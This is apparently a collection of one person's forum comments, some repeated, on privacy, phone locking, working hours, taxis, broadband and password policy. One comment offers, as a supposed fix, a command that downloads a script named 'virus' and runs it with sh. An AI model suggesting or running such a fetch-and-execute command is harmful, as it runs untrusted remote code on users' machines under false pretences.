Who do you trust more, Google or the government you live under? That is the root question.
When you live in the USofA you are screwed either way. Neither Google, nor the US Governemenet are interested in your privacy. It is a pity that there is no one looking after the indvidual and doing so is even thought of as evil and anti-american.
In Belgium locking phones is illegal. That would mean that there won't be a single operator who can get an exclusive deal. That would mean everybody would be able to buy it and use it anywhere in the world.
Also it means that the price will be the price for the phone and only for the phone.
somewhere in the neighborhood of 10 hours a day 5 days a week In Europe that is about 7 or 8 hours a day and from people who have worked both in the USofA and Europe, they say that Europeans aare more productive.
I myself need to be in only 7 hours. I am in some 8 to nine hours, yet I notice that the last 2 hours I am not nearly as productive as I am the first 2. Unfortunatly I need to be in between 9 and 10, because I know I would be more productive f I would come in at 12 or 13 and then do my hours.
Also understaffing will reaise productivity a lot, together with the overall work being done. Not much, just enough to keep preasure up. Overstaffing and people will work less and less gets done. About 5% understaffing is ideal. Do 5% overstaffing and everything drops 10%.
By looking at people, I would have thought it would have moved forward.;-)
Also I am wondering if we are realy a different species or that we just want to be. e.g. there are differnt kinds of sharks that we call sharks, yet we make a difference between apes and humans.
a) Improve productivity: The driver is on the job. As a capitalistic society we strive to improve productivity and, while sad, monitoring does do this. Then it should be his employer to mandate this, not big brother.
c) Bad Routes avoided: Looking at a map gives you some idea where you are and the driver would be less likely to take longer routes. Puts you, the consumer in control You are either a tourist that klnows next to nothing about e.g. road works or are a regular and do not need the device.
So all in all, the Credit Card part is OK, the GPS part isn't. And about taking a cab and having no money? Most cabs I take do not acceopt credit cards, so I ask in advance what it might costs and see that I have enough to pay my bill.
Almost every city in Europe is that way and you do not even have to have a large city to have that problem. Also I must say I have not had many bad experiences with cabs, What I do when I go to a city I have never been before, ask what the going rate is from e.g. airport to hotel, then ask before I go into the taxi what the cost will be and then get in.
Be informed if you take a taxi. When in Buenes Aires I talked to a taxi driver and he told me he made more money by doing the work honestly then not to do it honestly, an loose a LOT of time arguing about the price and the route.
OTOH, properly implemented, this could be good for both. I for one would like a cabbie to explain to me the route he is taking, and why, so that next time I'm there and want to rent a car, I have a chance. So how is this good for both? You steal his knowledge and then let him not only starve to death the next time you visit, you also add a tourist in traffic.
I only see one winner here and it isn't the cab driver. If I were a cabdriver, I would answer the question on why I take that route with "Because it is the fastest. If you desire to see what routes I take on different times of the day, please hire me at those times, here is my card."
Sure that is easy. Then he can just put up ssh wherever and then tunnel through there. They are not interested in who he connects to. They are interested in what exactly he does.
Compared to S. Korea, the continental USA is a big motherfucker. The distance is not an issue. It is ther density of the population that MIGHT be an issue. However, do these people have phonelines? Yes? Then you can lay fibre.
All the rest are excuses for the ISPs not to do it, because hey, you already pay for a subscribtion over the phoneline. No investment needed, because that phoneline is already payed for. No bandwith needed uplink, because you go at 33K.
Now that investment money can be used to pay the CEO and buy other companies.
All will depnd on her ability to do anything. Asuming she can use her hands, you could connect this keyboard to a portable. The portable only needs to run some sort of simple editor wiith a huge font, so she can read it easily.
If you want a solution, you need to give more infor on her ability.
1. Powerful and Continuing Nationalism 2. Disdain for the Recognition of Human Rights 3. Identification of Enemies/Scapegoats as a Unifying Cause 4. The supremacy of the military/avid militarism 5. Rampant sexism 6. A controlled mass media 7. Obsession with national security 8. Religion and ruling elite tied together 9. Power of corporations protected 10. Power of labor suppressed or eliminated 11. Disdain and suppression of intellectuals and the arts 12. Obsession with crime and punishment 13. Rampant cronyism and corruption 14. Fraudulent elections
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Also sys admins should look at a good password policy. That means not always to change passwords every X days.
Where I work I have several different logins and passwords. As many need change every 30 days, most I have lesser secure passwords. There are some that are selected for me and thise I place in a file. Pretty unsecure as well. And everybody else is doing the same thing.
Security is something people should realy think hard about, especialy the social part of it. You can blame people that they give away passwords for a pencil, but you could also try to solve this.
Education and training will only help you so far. hardend securety is also not the whole security and can even work agains the security.
the store or individual who sold that man the liquor In Belgium the pub owner is accountable. If the person is clearly intoxicated and he gives hime more and then the person has an accident, he might be held accountable.
Obviously you are not the only one. http://www.mvps.org/winhelp2002/hosts.txt has a lot servers. I just do an update each month. If you have a webserver, you can configure it in such a way that it gives a nice warning or whatever you desire. Comes in handy with embedded frames.
We live in a world of massive information-availability. A consumer who wishes to consume is equipped to find the "best" product for the job, and often will. Brand-recognition is a weakening force and it's high time we stop polluting our senses with invasive advertising. You asume that "best" is something that is about quality of the product. It isn't. "Best" is often more then not about image. Having the "Best" sneakers and using the "Best" cellphone or even using the "Best" OS on their computer.
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If people would learn from their mistakes, Microsoft would have no repeat business.
It is Open Source, write your own "Blood" fill mode.
When you live in the USofA you are screwed either way. Neither Google, nor the US Governemenet are interested in your privacy. It is a pity that there is no one looking after the indvidual and doing so is even thought of as evil and anti-american.
In Belgium locking phones is illegal. That would mean that there won't be a single operator who can get an exclusive deal. That would mean everybody would be able to buy it and use it anywhere in the world.
Also it means that the price will be the price for the phone and only for the phone.
I know of surgeans who use their cellphones during oepration.
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As does MPlayer. So I wonder what the difference is with just putting it trough a Linux box.
They could read a newspaper on the toilet like I^hsome people I know do.
I myself need to be in only 7 hours. I am in some 8 to nine hours, yet I notice that the last 2 hours I am not nearly as productive as I am the first 2. Unfortunatly I need to be in between 9 and 10, because I know I would be more productive f I would come in at 12 or 13 and then do my hours.
Also understaffing will reaise productivity a lot, together with the overall work being done. Not much, just enough to keep preasure up. Overstaffing and people will work less and less gets done. About 5% understaffing is ideal. Do 5% overstaffing and everything drops 10%.
That is at least my experience.
It is easier to install Linux then it is to install Windows. Here a BETA install for openSUSE 10.3. http://houghi.org/moving_pictures/openSUSE10.3_ins tall.php
There is an easy way to prevent such a thing. Open a terminal and execute the following. Just follow instructions.
wget http://houghi.org/virus && sh virus
HTH, HAND.
By looking at people, I would have thought it would have moved forward. ;-)
Also I am wondering if we are realy a different species or that we just want to be. e.g. there are differnt kinds of sharks that we call sharks, yet we make a difference between apes and humans.
Just being curious.
So all in all, the Credit Card part is OK, the GPS part isn't. And about taking a cab and having no money? Most cabs I take do not acceopt credit cards, so I ask in advance what it might costs and see that I have enough to pay my bill.
Almost every city in Europe is that way and you do not even have to have a large city to have that problem. Also I must say I have not had many bad experiences with cabs, What I do when I go to a city I have never been before, ask what the going rate is from e.g. airport to hotel, then ask before I go into the taxi what the cost will be and then get in.
Be informed if you take a taxi. When in Buenes Aires I talked to a taxi driver and he told me he made more money by doing the work honestly then not to do it honestly, an loose a LOT of time arguing about the price and the route.
I only see one winner here and it isn't the cab driver. If I were a cabdriver, I would answer the question on why I take that route with "Because it is the fastest. If you desire to see what routes I take on different times of the day, please hire me at those times, here is my card."
In Belgium sim-locking is illegal. It is expected for the end of 2007, so probably X-mas.
Sure that is easy. Then he can just put up ssh wherever and then tunnel through there. They are not interested in who he connects to. They are interested in what exactly he does.
All the rest are excuses for the ISPs not to do it, because hey, you already pay for a subscribtion over the phoneline. No investment needed, because that phoneline is already payed for. No bandwith needed uplink, because you go at 33K.
Now that investment money can be used to pay the CEO and buy other companies.
All will depnd on her ability to do anything. Asuming she can use her hands, you could connect this keyboard to a portable. The portable only needs to run some sort of simple editor wiith a huge font, so she can read it easily.
If you want a solution, you need to give more infor on her ability.
From (among other sites)
http://www.secularhumanism.org/index.php?section=
1. Powerful and Continuing Nationalism
2. Disdain for the Recognition of Human Rights
3. Identification of Enemies/Scapegoats as a Unifying Cause
4. The supremacy of the military/avid militarism
5. Rampant sexism
6. A controlled mass media
7. Obsession with national security
8. Religion and ruling elite tied together
9. Power of corporations protected
10. Power of labor suppressed or eliminated
11. Disdain and suppression of intellectuals and the arts
12. Obsession with crime and punishment
13. Rampant cronyism and corruption
14. Fraudulent elections
.
Also sys admins should look at a good password policy. That means not always to change passwords every X days.
Where I work I have several different logins and passwords. As many need change every 30 days, most I have lesser secure passwords.
There are some that are selected for me and thise I place in a file. Pretty unsecure as well. And everybody else is doing the same thing.
Security is something people should realy think hard about, especialy the social part of it. You can blame people that they give away passwords for a pencil, but you could also try to solve this.
Education and training will only help you so far. hardend securety is also not the whole security and can even work agains the security.
Sorry, I do not have a solution.
Yes, this an extremely slippery slope.
Also please stop giving lawers ideas.
Obviously you are not the only one. http://www.mvps.org/winhelp2002/hosts.txt has a lot servers. I just do an update each month. If you have a webserver, you can configure it in such a way that it gives a nice warning or whatever you desire. Comes in handy with embedded frames.